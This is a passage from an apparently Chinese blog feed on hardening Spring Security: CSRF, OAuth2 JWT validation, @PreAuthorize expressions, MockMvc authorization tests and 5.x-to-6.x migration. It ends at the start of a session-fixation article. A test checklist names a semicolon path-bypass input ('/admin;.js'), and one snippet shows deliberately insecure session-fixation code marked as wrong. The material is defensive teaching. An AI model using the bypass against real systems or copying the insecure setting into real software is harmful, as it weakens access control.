    <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/admin/**"</span><span class="o">).</span><span class="na">hasAnyAuthority</span><span class="o">(</span><span class="s">"ROLE_ADMIN"</span><span class="o">,</span> <span class="s">"ROLE_SUPER_ADMIN"</span><span class="o">)</span>
    <span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">authenticated</span><span class="o">()</span>
<span class="o">);</span>

<span class="c1">// 方法层：细粒度权限检查</span>
<span class="nd">@PreAuthorize</span><span class="o">(</span><span class="s">"hasAuthority('circle:admin:list')"</span><span class="o">)</span>
<span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/list"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">CommonResult</span><span class="o">&lt;?&gt;</span> <span class="n">list</span><span class="o">()</span> <span class="o">{</span> <span class="o">...</span> <span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="29-csrf-防护详解">2.9 CSRF 防护详解</h2>

<p>CSRF 是 Spring Security 默认启用的防护，但 RESTful API 时代常常被误关。</p>

<h3 id="ajaxapi-的-csrf-处理">AJAX/API 的 CSRF 处理</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ✅ 分离配置：浏览器页面保留 CSRF，纯 API 可以关闭</span>
<span class="nd">@Bean</span>
<span class="nd">@Order</span><span class="o">(</span><span class="mi">1</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">apiFilterChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="n">http</span><span class="o">.</span><span class="na">securityMatcher</span><span class="o">(</span><span class="s">"/api/**"</span><span class="o">)</span>
        <span class="o">.</span><span class="na">csrf</span><span class="o">(</span><span class="n">csrf</span> <span class="o">-&gt;</span> <span class="n">csrf</span><span class="o">.</span><span class="na">disable</span><span class="o">())</span>  <span class="c1">// API 用 Token 认证，无 CSRF 风险</span>
        <span class="o">.</span><span class="na">sessionManagement</span><span class="o">(</span><span class="n">s</span> <span class="o">-&gt;</span> <span class="n">s</span><span class="o">.</span><span class="na">sessionCreationPolicy</span><span class="o">(</span><span class="nc">SessionCreationPolicy</span><span class="o">.</span><span class="na">STATELESS</span><span class="o">))</span>
        <span class="c1">// ... JWT 配置</span>
    <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>

<span class="nd">@Bean</span>
<span class="nd">@Order</span><span class="o">(</span><span class="mi">2</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">webFilterChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="n">http</span><span class="o">.</span><span class="na">securityMatcher</span><span class="o">(</span><span class="s">"/admin/**"</span><span class="o">,</span> <span class="s">"/user/**"</span><span class="o">)</span>
        <span class="c1">// 保留 CSRF 防护 — 页面使用 Cookie/Session</span>
        <span class="o">.</span><span class="na">csrf</span><span class="o">(</span><span class="n">csrf</span> <span class="o">-&gt;</span> <span class="n">csrf</span>
            <span class="o">.</span><span class="na">csrfTokenRepository</span><span class="o">(</span><span class="nc">CookieCsrfTokenRepository</span><span class="o">.</span><span class="na">withHttpOnlyFalse</span><span class="o">())</span>
            <span class="o">.</span><span class="na">csrfTokenRequestHandler</span><span class="o">(</span><span class="k">new</span> <span class="nc">CsrfTokenRequestAttributeHandler</span><span class="o">())</span>
        <span class="o">)</span>
        <span class="c1">// ...</span>
    <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="csrf-token-前端集成">CSRF Token 前端集成</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 前端 Ajax 自动携带 CSRF Token</span>
<span class="kd">const</span> <span class="nx">csrfToken</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">meta[name="_csrf"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">content</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">csrfHeader</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">meta[name="_csrf_header"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">content</span><span class="p">;</span>

<span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/admin/users</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
        <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/json</span><span class="dl">'</span><span class="p">,</span>
        <span class="p">[</span><span class="nx">csrfHeader</span><span class="p">]:</span> <span class="nx">csrfToken</span>
    <span class="p">},</span>
    <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span>
<span class="p">});</span>
</code></pre></div></div>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- Thymeleaf 模板中自动注入 --&gt;</span>
<span class="nt">&lt;meta</span> <span class="na">name=</span><span class="s">"_csrf"</span> <span class="na">th:content=</span><span class="s">"${_csrf.token}"</span><span class="nt">/&gt;</span>
<span class="nt">&lt;meta</span> <span class="na">name=</span><span class="s">"_csrf_header"</span> <span class="na">th:content=</span><span class="s">"${_csrf.headerName}"</span><span class="nt">/&gt;</span>
</code></pre></div></div>

<hr />

<h2 id="210-oauth2-resource-server-快速配置">2.10 OAuth2 Resource Server 快速配置</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ✅ Spring Security 作为 OAuth2 Resource Server</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">resourceServerFilterChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="n">http</span>
        <span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">auth</span> <span class="o">-&gt;</span> <span class="n">auth</span>
            <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/public/**"</span><span class="o">).</span><span class="na">permitAll</span><span class="o">()</span>
            <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/admin/**"</span><span class="o">).</span><span class="na">hasAuthority</span><span class="o">(</span><span class="s">"SCOPE_admin"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">authenticated</span><span class="o">()</span>
        <span class="o">)</span>
        <span class="o">.</span><span class="na">oauth2ResourceServer</span><span class="o">(</span><span class="n">oauth2</span> <span class="o">-&gt;</span> <span class="n">oauth2</span>
            <span class="o">.</span><span class="na">jwt</span><span class="o">(</span><span class="n">jwt</span> <span class="o">-&gt;</span> <span class="n">jwt</span>
                <span class="o">.</span><span class="na">decoder</span><span class="o">(</span><span class="n">jwtDecoder</span><span class="o">())</span>
                <span class="o">.</span><span class="na">jwtAuthenticationConverter</span><span class="o">(</span><span class="n">jwtAuthConverter</span><span class="o">())</span>
            <span class="o">)</span>
        <span class="o">)</span>
        <span class="o">.</span><span class="na">sessionManagement</span><span class="o">(</span><span class="n">s</span> <span class="o">-&gt;</span> <span class="n">s</span><span class="o">.</span><span class="na">sessionCreationPolicy</span><span class="o">(</span><span class="nc">SessionCreationPolicy</span><span class="o">.</span><span class="na">STATELESS</span><span class="o">));</span>
    <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>

<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">JwtDecoder</span> <span class="nf">jwtDecoder</span><span class="o">()</span> <span class="o">{</span>
    <span class="k">return</span> <span class="nc">NimbusJwtDecoder</span>
        <span class="o">.</span><span class="na">withJwkSetUri</span><span class="o">(</span><span class="s">"https://auth.example.com/.well-known/jwks.json"</span><span class="o">)</span>
        <span class="o">.</span><span class="na">jwsAlgorithm</span><span class="o">(</span><span class="nc">JWSAlgorithm</span><span class="o">.</span><span class="na">RS256</span><span class="o">)</span>  <span class="c1">// 严格指定算法</span>
        <span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>

<span class="c1">// 将 JWT claims 中的自定义字段映射为 GrantedAuthority</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">JwtAuthenticationConverter</span> <span class="nf">jwtAuthConverter</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">JwtGrantedAuthoritiesConverter</span> <span class="n">converter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">JwtGrantedAuthoritiesConverter</span><span class="o">();</span>
    <span class="n">converter</span><span class="o">.</span><span class="na">setAuthorityPrefix</span><span class="o">(</span><span class="s">""</span><span class="o">);</span>  <span class="c1">// 不加 SCOPE_ 前缀</span>
    <span class="n">converter</span><span class="o">.</span><span class="na">setAuthoritiesClaimName</span><span class="o">(</span><span class="s">"permissions"</span><span class="o">);</span>  <span class="c1">// 从 permissions claim 读取</span>
    
    <span class="nc">JwtAuthenticationConverter</span> <span class="n">authConverter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">JwtAuthenticationConverter</span><span class="o">();</span>
    <span class="n">authConverter</span><span class="o">.</span><span class="na">setJwtGrantedAuthoritiesConverter</span><span class="o">(</span><span class="n">converter</span><span class="o">);</span>
    <span class="k">return</span> <span class="n">authConverter</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="211-spel-表达式速查preauthorize">2.11 SpEL 表达式速查（<code class="language-plaintext highlighter-rouge">@PreAuthorize</code>）</h2>

<table>
  <thead>
    <tr>
      <th>表达式</th>
      <th>说明</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasRole('ADMIN')</code></td>
      <td>有 ROLE_ADMIN 角色</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasAuthority('user:read')</code></td>
      <td>有精确权限</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasAnyRole('ADMIN','MANAGER')</code></td>
      <td>多个角色任一</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasAnyAuthority('a','b')</code></td>
      <td>多个权限任一</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">isAuthenticated()</code></td>
      <td>已认证（非匿名）</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">isAnonymous()</code></td>
      <td>匿名用户</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">permitAll()</code></td>
      <td>所有人（含匿名）</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">denyAll()</code></td>
      <td>拒绝所有人</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">#username == authentication.name</code></td>
      <td>参数等于当前用户名</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasPermission(#id, 'ORDER', 'READ')</code></td>
      <td>资源级鉴权</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@securityService.canAccess(#id)</code></td>
      <td>调用自定义 Bean 方法</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasAuthority('admin') and #id &gt; 100</code></td>
      <td>组合条件</td>
    </tr>
  </tbody>
</table>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 实战示例：检查参数归属</span>
<span class="nd">@PreAuthorize</span><span class="o">(</span><span class="s">"#order.userId == authentication.principal.id"</span><span class="o">)</span>
<span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/orders/{orderId}"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">Order</span> <span class="nf">getOrder</span><span class="o">(</span><span class="nd">@PathVariable</span> <span class="nc">Long</span> <span class="n">orderId</span><span class="o">)</span> <span class="o">{</span> <span class="o">}</span>

<span class="c1">// 调用自定义 Service 方法</span>
<span class="nd">@PreAuthorize</span><span class="o">(</span><span class="s">"@rbacService.canAccessProject(#projectId)"</span><span class="o">)</span>
<span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/projects/{projectId}"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">Project</span> <span class="nf">getProject</span><span class="o">(</span><span class="nd">@PathVariable</span> <span class="nc">Long</span> <span class="n">projectId</span><span class="o">)</span> <span class="o">{</span> <span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="212-安全测试mockmvc--withmockuser">2.12 安全测试（MockMvc + <code class="language-plaintext highlighter-rouge">@WithMockUser</code>）</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@SpringBootTest</span>
<span class="nd">@AutoConfigureMockMvc</span>
<span class="kd">class</span> <span class="nc">CircleAdminControllerTest</span> <span class="o">{</span>

    <span class="nd">@Autowired</span>
    <span class="kd">private</span> <span class="nc">MockMvc</span> <span class="n">mockMvc</span><span class="o">;</span>

    <span class="c1">// ✅ 模拟有 ADMIN 角色的用户</span>
    <span class="nd">@Test</span>
    <span class="nd">@WithMockUser</span><span class="o">(</span><span class="n">roles</span> <span class="o">=</span> <span class="s">"ADMIN"</span><span class="o">)</span>
    <span class="kt">void</span> <span class="nf">adminCanAccessAdminEndpoint</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">mockMvc</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">get</span><span class="o">(</span><span class="s">"/api/admin/circle/list"</span><span class="o">))</span>
            <span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">status</span><span class="o">().</span><span class="na">isOk</span><span class="o">());</span>
    <span class="o">}</span>

    <span class="c1">// ✅ 模拟普通用户 — 期望 403</span>
    <span class="nd">@Test</span>
    <span class="nd">@WithMockUser</span><span class="o">(</span><span class="n">roles</span> <span class="o">=</span> <span class="s">"USER"</span><span class="o">)</span>
    <span class="kt">void</span> <span class="nf">normalUserCannotAccessAdminEndpoint</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">mockMvc</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">get</span><span class="o">(</span><span class="s">"/api/admin/circle/list"</span><span class="o">))</span>
            <span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">status</span><span class="o">().</span><span class="na">isForbidden</span><span class="o">());</span>
    <span class="o">}</span>

    <span class="c1">// ✅ 模拟未登录 — 期望 401</span>
    <span class="nd">@Test</span>
    <span class="kt">void</span> <span class="nf">unauthenticatedUserGets401</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">mockMvc</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">get</span><span class="o">(</span><span class="s">"/api/admin/circle/list"</span><span class="o">))</span>
            <span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">status</span><span class="o">().</span><span class="na">isUnauthorized</span><span class="o">());</span>
    <span class="o">}</span>

    <span class="c1">// ✅ 自定义权限的测试注解</span>
    <span class="nd">@Test</span>
    <span class="nd">@WithMockUser</span><span class="o">(</span><span class="n">authorities</span> <span class="o">=</span> <span class="s">"circle:admin:list"</span><span class="o">)</span>
    <span class="kt">void</span> <span class="nf">userWithSpecificPermissionCanAccess</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">mockMvc</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">get</span><span class="o">(</span><span class="s">"/api/admin/circle/list"</span><span class="o">))</span>
            <span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">status</span><span class="o">().</span><span class="na">isOk</span><span class="o">());</span>
    <span class="o">}</span>
    
    <span class="c1">// ✅ 测试 @PreAuthorize 注解是否真实生效（防静默失效）</span>
    <span class="nd">@Test</span>
    <span class="nd">@WithMockUser</span><span class="o">(</span><span class="n">authorities</span> <span class="o">=</span> <span class="s">"circle:user:list"</span><span class="o">)</span>  <span class="c1">// 无 admin 权限</span>
    <span class="kt">void</span> <span class="nf">userWithoutPermissionGets403</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">mockMvc</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">get</span><span class="o">(</span><span class="s">"/api/admin/circle/list"</span><span class="o">))</span>
            <span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">status</span><span class="o">().</span><span class="na">isForbidden</span><span class="o">());</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>关键测试场景</strong>：</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>☐ 未登录 → 401
☐ 已登录 + 无权限 → 403
☐ 已登录 + 有权限 → 200
☐ 分号绕过（/admin;.js）→ 401 或 403
☐ @PreAuthorize 注解真实生效（不是静默失效）
</code></pre></div></div>

<hr />

<h2 id="213-spring-security-5x--6x-迁移对照补充">2.13 Spring Security 5.x → 6.x 迁移对照（补充）</h2>

<p>如果你看到 <code class="language-plaintext highlighter-rouge">WebSecurityConfigurerAdapter</code> 和 <code class="language-plaintext highlighter-rouge">@EnableGlobalMethodSecurity</code>，说明项目用的是 Spring Security 5.x。以下是两代 API 的关键差异：</p>

<h3 id="配置类写法对比">配置类写法对比</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ── Spring Security 5.x（旧，WebSecurityConfigurerAdapter 已废弃）──</span>
<span class="nd">@Configuration</span>
<span class="nd">@EnableWebSecurity</span>
<span class="nd">@EnableGlobalMethodSecurity</span><span class="o">(</span><span class="n">prePostEnabled</span> <span class="o">=</span> <span class="kc">true</span><span class="o">,</span> <span class="n">securedEnabled</span> <span class="o">=</span> <span class="kc">true</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">WebSecurityConfig</span> <span class="kd">extends</span> <span class="nc">WebSecurityConfigurerAdapter</span> <span class="o">{</span>

    <span class="nd">@Override</span>
    <span class="kd">protected</span> <span class="kt">void</span> <span class="nf">configure</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">http</span><span class="o">.</span><span class="na">authorizeRequests</span><span class="o">()</span>
            <span class="o">.</span><span class="na">antMatchers</span><span class="o">(</span><span class="s">"/api/public/**"</span><span class="o">).</span><span class="na">permitAll</span><span class="o">()</span>
            <span class="o">.</span><span class="na">antMatchers</span><span class="o">(</span><span class="s">"/api/admin/**"</span><span class="o">).</span><span class="na">hasRole</span><span class="o">(</span><span class="s">"ADMIN"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">authenticated</span><span class="o">()</span>
            <span class="o">.</span><span class="na">and</span><span class="o">()</span>
            <span class="o">.</span><span class="na">formLogin</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">protected</span> <span class="kt">void</span> <span class="nf">configure</span><span class="o">(</span><span class="nc">AuthenticationManagerBuilder</span> <span class="n">auth</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">auth</span><span class="o">.</span><span class="na">userDetailsService</span><span class="o">(</span><span class="n">userDetailsService</span><span class="o">)</span>
            <span class="o">.</span><span class="na">passwordEncoder</span><span class="o">(</span><span class="n">passwordEncoder</span><span class="o">());</span>
    <span class="o">}</span>
<span class="o">}</span>

<span class="c1">// ── Spring Security 6.x（新，Lambda DSL + Bean 方式）──</span>
<span class="nd">@Configuration</span>
<span class="nd">@EnableWebSecurity</span>
<span class="nd">@EnableMethodSecurity</span>  <span class="c1">// ← 改名了</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SecurityConfig</span> <span class="o">{</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">filterChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">http</span><span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">auth</span> <span class="o">-&gt;</span> <span class="n">auth</span>    <span class="c1">// ← authorizeHttpRequests</span>
                <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/public/**"</span><span class="o">).</span><span class="na">permitAll</span><span class="o">()</span>  <span class="c1">// ← requestMatchers</span>
                <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/admin/**"</span><span class="o">).</span><span class="na">hasRole</span><span class="o">(</span><span class="s">"ADMIN"</span><span class="o">)</span>
                <span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">authenticated</span><span class="o">()</span>
            <span class="o">)</span>
            <span class="o">.</span><span class="na">formLogin</span><span class="o">(</span><span class="nc">Customizer</span><span class="o">.</span><span class="na">withDefaults</span><span class="o">());</span>
        <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">UserDetailsService</span> <span class="nf">userDetailsService</span><span class="o">()</span> <span class="o">{</span> <span class="o">...</span> <span class="o">}</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">PasswordEncoder</span> <span class="nf">passwordEncoder</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nf">BCryptPasswordEncoder</span><span class="o">(</span><span class="mi">12</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="关键-api-变更速查">关键 API 变更速查</h3>

<table>
  <thead>
    <tr>
      <th>功能</th>
      <th>Spring Security 5.x（废弃）</th>
      <th>Spring Security 6.x（新）</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>方法安全注解</td>
      <td><code class="language-plaintext highlighter-rouge">@EnableGlobalMethodSecurity(prePostEnabled=true)</code></td>
      <td><code class="language-plaintext highlighter-rouge">@EnableMethodSecurity</code></td>
    </tr>
    <tr>
      <td>配置基类</td>
      <td><code class="language-plaintext highlighter-rouge">extends WebSecurityConfigurerAdapter</code></td>
      <td>纯 <code class="language-plaintext highlighter-rouge">@Bean</code> 方式，无需继承</td>
    </tr>
    <tr>
      <td>URL 匹配</td>
      <td><code class="language-plaintext highlighter-rouge">.antMatchers()</code></td>
      <td><code class="language-plaintext highlighter-rouge">.requestMatchers()</code></td>
    </tr>
    <tr>
      <td>授权配置</td>
      <td><code class="language-plaintext highlighter-rouge">.authorizeRequests()</code></td>
      <td><code class="language-plaintext highlighter-rouge">.authorizeHttpRequests()</code></td>
    </tr>
    <tr>
      <td>Lambda 配置</td>
      <td>可选（链式调用）</td>
      <td>推荐（Lambda DSL）</td>
    </tr>
    <tr>
      <td>密码编码器</td>
      <td><code class="language-plaintext highlighter-rouge">NoOpPasswordEncoder</code>（默认不强制）</td>
      <td>必须显式声明 <code class="language-plaintext highlighter-rouge">PasswordEncoder</code> Bean</td>
    </tr>
  </tbody>
</table>

<h3 id="迁移检查清单">迁移检查清单</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>☐ 去掉 extends WebSecurityConfigurerAdapter
☐ configure(HttpSecurity) → @Bean SecurityFilterChain
☐ configure(AuthenticationManagerBuilder) → @Bean 方式注入
☐ @EnableGlobalMethodSecurity → @EnableMethodSecurity
☐ .antMatchers() → .requestMatchers()
☐ .authorizeRequests() → .authorizeHttpRequests()
☐ 密码编码器必须显式声明 Bean
☐ 跑一遍 MockMvc 测试确认 @PreAuthorize 仍生效
</code></pre></div></div>

<h3 id="你的代码在哪个阶段">你的代码在哪个阶段</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 你现在的代码（Spring Security 5.x）</span>
<span class="nd">@Configuration</span>
<span class="nd">@EnableWebSecurity</span>
<span class="nd">@EnableGlobalMethodSecurity</span><span class="o">(</span><span class="n">prePostEnabled</span> <span class="o">=</span> <span class="kc">true</span><span class="o">,</span> <span class="n">securedEnabled</span> <span class="o">=</span> <span class="kc">true</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">WebSecurityConfig</span> <span class="kd">extends</span> <span class="nc">WebSecurityConfigurerAdapter</span> <span class="o">{</span>
    <span class="c1">// 这就是 @PreAuthorize 生效的原因 ——</span>
    <span class="c1">// prePostEnabled=true 开启了方法级安全，</span>
    <span class="c1">// 但不是 @EnableMethodSecurity，而是 @EnableGlobalMethodSecurity</span>
<span class="o">}</span>
</code></pre></div></div>

<blockquote>
  <p><strong>注意</strong>：<code class="language-plaintext highlighter-rouge">securedEnabled=true</code> 开启的是 <code class="language-plaintext highlighter-rouge">@Secured</code> 注解（JSR-250），不影响 <code class="language-plaintext highlighter-rouge">@PreAuthorize</code>。<code class="language-plaintext highlighter-rouge">@PreAuthorize</code> 只需要 <code class="language-plaintext highlighter-rouge">prePostEnabled=true</code>。</p>
</blockquote>

<hr />

<h2 id="总结">总结</h2>

<p>Spring Security 的安全问题本质是 <strong>“你以为配了，实际上没配”</strong>：</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">web.ignoring()</code> 以为是公开路径，实际是”从安全模型中消失”</li>
  <li><code class="language-plaintext highlighter-rouge">@PreAuthorize</code> 以为写了就生效，实际需要 <code class="language-plaintext highlighter-rouge">@EnableMethodSecurity</code>（5.x 是 <code class="language-plaintext highlighter-rouge">@EnableGlobalMethodSecurity(prePostEnabled=true)</code>）</li>
  <li><code class="language-plaintext highlighter-rouge">hasRole</code> 以为匹配权限字符串，实际自动加了 <code class="language-plaintext highlighter-rouge">ROLE_</code> 前缀</li>
  <li>过滤器链以为精细规则优先，实际是 <code class="language-plaintext highlighter-rouge">@Order</code> 靠前的先匹配</li>
  <li><code class="language-plaintext highlighter-rouge">WebSecurityConfigurerAdapter</code> 以为还能用，实际 5.7+ 废弃、6.x 删除</li>
</ul>

<hr />

<p><strong>系列文章</strong>：</p>
<ul>
  <li><a href="/2026/05/07/java-web-auth-overview/">概览篇：框架识别、CVE 速查、审计清单</a></li>
  <li><a href="/2026/05/08/apache-shiro-security-practice/">Apache Shiro 安全配置篇</a></li>
  <li><a href="/2026/05/08/jwt-security-practice/">JWT 认证安全篇</a></li>
  <li><a href="/2026/05/08/java-web-auth-bypass/">鉴权绕过模式篇</a></li>
  <li><a href="/2026/05/08/java-session-redis-auth/">会话管理与 Redis 认证篇</a></li>
</ul>]]></content><author><name>江流</name></author></entry><entry><title type="html">Java Web 会话管理与 Redis 认证实践</title><link href="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/redis/2026/05/08/Java-Web%E4%BC%9A%E8%AF%9D%E7%AE%A1%E7%90%86%E4%B8%8ERedis%E8%AE%A4%E8%AF%81%E5%AE%9E%E8%B7%B5/" rel="alternate" type="text/html" title="Java Web 会话管理与 Redis 认证实践" /><published>2026-05-08T10:00:00+00:00</published><updated>2026-05-08T10:00:00+00:00</updated><id>https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/redis/2026/05/08/Java%20Web%E4%BC%9A%E8%AF%9D%E7%AE%A1%E7%90%86%E4%B8%8ERedis%E8%AE%A4%E8%AF%81%E5%AE%9E%E8%B7%B5</id><content type="html" xml:base="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/redis/2026/05/08/Java-Web%E4%BC%9A%E8%AF%9D%E7%AE%A1%E7%90%86%E4%B8%8ERedis%E8%AE%A4%E8%AF%81%E5%AE%9E%E8%B7%B5/"><![CDATA[<h1 id="java-web-会话管理与-redis-认证实践">Java Web 会话管理与 Redis 认证实践</h1>

<p>会话管理是认证体系的”最后一公里”。无论前端用 JWT 还是 Session，服务端的校验逻辑、Redis 缓存策略、并发控制直接决定了整个认证链路的安全性。</p>

<blockquote>
  <p>本文是 <a href="/2026/05/07/java-web-auth-overview/">Java Web 认证授权安全系列</a> 的第六篇。</p>
</blockquote>

<hr />

<h2 id="61-session-fixation-攻击">6.1 Session Fixation 攻击</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 登录前后 Session ID 不变</span>
<span class="n">http</span><span class="o">.</span><span class="na">sessionManagement</span><span class="o">().</span><span class="na">sessionFixation</span><span class="o">().</span><span class="na">none</span><span class="o">();</span>

<span class="c1">// ✅ 登录后更换 Session ID</span>
<span class="n">http</span><span class="o">.</span><span class="na">sessionManagement</span><span class="o">()</span>
    <span class="o">.</span><span class="na">sessionFixation</span><span class="o">().</span><span class="na">migrateSession</span><span class="o">();</span>  <span class="c1">// 创建新 Session，复制属性</span>
<span class="c1">// 或</span>
